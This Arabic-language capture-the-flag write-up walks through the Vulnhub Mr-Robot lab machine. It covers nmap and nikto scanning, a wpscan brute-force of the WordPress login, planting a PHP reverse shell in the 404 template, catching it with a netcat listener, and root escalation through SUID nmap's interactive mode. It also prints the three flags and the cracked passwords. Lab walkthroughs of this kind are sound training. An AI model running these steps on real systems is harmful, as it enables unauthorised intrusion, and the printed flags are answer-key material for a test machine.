حل تحدى Mr-Robot من Vulnhub - النسخه العربية


مقدمة
أهلا Hunters عدنا إليكم بتحدي جديد وتدريب جيد مقدم من Vulnhub ويدعى Mr-Robot !! أممممم هل قابلت هذا الاسم من قبل ؟ , إذا دعنا نقوم بحل الـ Machine ونكتشف كل التقنيات والأدوات للحصول على الثلاث مفاتيح المخفية.
المستوى: مبتدأ إلى متوسط
الهدف : الحصول على الثلاث مفاتيح المخفيه داخل الـ Machine مع اختلاف الصلاحيات للحصول على كل مفتاح .
رابط التحميل: https://www.vulnhub.com/entry/mr-robot-1,151
خطوات الحل
- Finding IP (netdiscover)
- Network Scanning (Nmap)
- Viewing the target Website on a web browser
- Vuln Analysis (Nikto)
- Use robot.txt
- Grab 1st key
- Download fsocity.dic file and use a dictionary
- WordPress password cracking (wpscan)
- Login into WordPress
- Edit php-reverse-shell file
- Upload and execute a backdoor
- Reverse connection (nc)
- Get MD5 hash and decrypt it
- Find / perm u=s for Privilege Escalation
- Get Root access and capture the flag.
الحصول على الـ IP
بعد تحميل ملف Mr.Robot.ova , قم بعمل import للـ Machine من خلال Virtual box أو VMware , ثم ستبدأ تلقائيا في التشغيل .
بعد ذلك نريد الحصول على الـ IP الخاص بالـ Machine ومن إعدادات الشبكة قمنا بعمل DHCP حتى نتمكن من الحصول على IP تلقائى , ثم سنبدأ في البحث عن الـ IP باستخدام أداة netdiscover من خلال : -
netdiscover -i wlan0 -r 192.168.1.1/16
جيد !! حصلنا على عنوان الـ IP الخاص بنا , وتذكر أنه متغير حسب الشبكه الخاصة بك , في حالتنا الـ IP الخاص بنا هو 192.168.1.28 .
فحص عنوان الـ IP بأستحدام الـ nmap
الآن ننتقل إلى فحص الشبكة بأستخدام أداة nmap لفحص جميع الـ Ports المفتوحة وإعطاء معلومات أكثر عن الأصدارات والخدمات لهذة الـ Machine , نقوم بأستخدام هذا من خلال :-
export ip=192.168.1.28 && nmap -sC -sV -p- -A $ip
لاحظ هنا انى قمت باستخدام امر export لكى لا أحتاج إلى كتابة الـ IP الخاص بى كل مره في الـ Terminal .
الآن تستطيع أن ترى كل الخدمات المتاحة والـ Ports لكي نقوم باستغلالها، الآن نجد أنهما منافذ 80 و 443.
لنقوم بفتح ال IP على موقع الويب. لم أجد أي شيء هام، لذا سنقوم بالبحث بشكل أكبر باستخدام أداه Nikto.
الفحص بأستخدام اداة Nikto
سنقوم بعمل تحليل للنظام من خلال :-
nikto -h $ip
ممتاز !! وجدنا بعض المسارات الهامة , لنقوم بتفقد ملف robots.txt .
الحصول على المفتاح الأول
سنقوم بفتح ملف key-1-of-3.txt سوف نجد بداخله المفتاح الأول لحل الـ Mahcine
1st flag: 073403c8a58a1f80d943455fb30724b9
تحميل قاموس fsocity.dic
قم بتحميل ملف fsocity. dic لكي نتمكن من استخدامه بعد ذلك في عملية الـBrute Force
http:/192.168.1.28/fsociety.dic
اختراق وردبريس باستخدام Wpscan
بالنسبة للـ Usermane سنسخدم اسم Elliot كما في الصفحة الرئيسية والمسلسل الخاص بمستر روبرت, ويمكنك استخدام الملف fsociety.dic في الـ brute force للباسورد ولكن سوف يستغرق الأمر وقتًا طويلاً لاختراق, يمكننا استخدام هذا من خلال :-
wpscan --url http://$ip --usernames Elliot --passwords /root/Desktop/fsocity.dic
ممتاز قد حصلنا على الـ Credential الخاصة بالمستخدم .
Username: Elliot
Password: ER28-0652
الدخول إلى Wordpress
سنقوم بتسجيل الدخول إلى الـ wp-login من خلال :-
عمل PHP Backdoor
بعد تسجيل الدخول ستقوم بفتح الـ Dashboard الخاص بالـ Admin .
قم بالدخول على الـ Appearance ومن ثم على الـ Editor ثم على صحفة 404 كما هو موضح في الصورة التاليه :-
الحصول على Reverse Shell
أولا لنقوم بمعرفة الـ IP الخاص بنا لاستخدامه في الـ reverse shell
سوف نقوم بتعديل ملف الـ php-reverse-shell التي ستجده بشكل افتراضي على نظام الكالي لينكس على المسار التالي:-
بعد تعديل الـ IP والـ Port الخاص بنا لعمل الـ reverse shell سوف نقوم برفع الملف على صفحة 404 ثم القيام بالحفظ .
الحصول على الـ Shell
على الجانب الآخر نقوم بالتنصت على الـ Port وانتظار أى Shell نحصل عليها من خلال :-
nc -lnvp 1234
ثم نقوم بفتح الملف مره أخرى لكى نقوم بعمل الـ reverse shell
Bingo تم الحصول على الـ Shell
تخطى الصلاحيات وعمل Privilege Escalation
الآن لنقم بالدخول على الملفات وتصفحها من خلال :-
cd home
ls
cat password.raw-md5
جيد لقد وجدنا Password مشفرة باستخدام MD5 , بعد فك التشفير من موقع dcode سوف نأخذ الباسورد الخاص بالمستخدم robot وهو :-
abcdefghijklmnopqrstuvwxyz
ثم سنقوم بالتحويل على المستخدم robot من خلال:-
python -c ‘import pty;pty.spawn(“/bin/sh”)’
su robot
ls
cat key-2-of-3.txt
2nd flag: 822c73956184f694993bede3eb39f959
الوصول إلى صلاحيات Root
لنقوم بتخطي الصلاحيات من الممكن أن نستخدم أمر sudo -l سوف نجد أنه ليس من صلاحيات هذا المستخدم استخدام هذا الـ command لذا سنقوم باستخدام :-
find / -perm -u=s -type f 2>/dev/null
سوف نجد في الصورة أعلاها أننا يمكن استخدام nmap للحصول على صلاحيات جديدة, جيد حتى الآن لنقوم باستخدام الوضع التفاعلي داخل الـ nmap المتوفر في الإصدارات 2.02 إلى 5.21، لتنفيذ أوامر shell.
nmap --interactive
!sh
whoami
cd /root
ls -lah
cat key-3-of-3.txt
3rd flag: 04787ddef27c3dee1ee161b21670b4e4
ممتعة صحيح !! لقد وصلنا إلى صلاحيات الـ Root وقمنا بحل الـ Machine, إذا واجهتك أي مشكلة أو تريد توضيح أي خطوه قمنا بذكرها أخبرنا في التعليقات، وقم بمتابعتنا على منصات التواصل الاجتماعي وانتظر تحديات قوية في عالم ال CTF والسلام ختام،،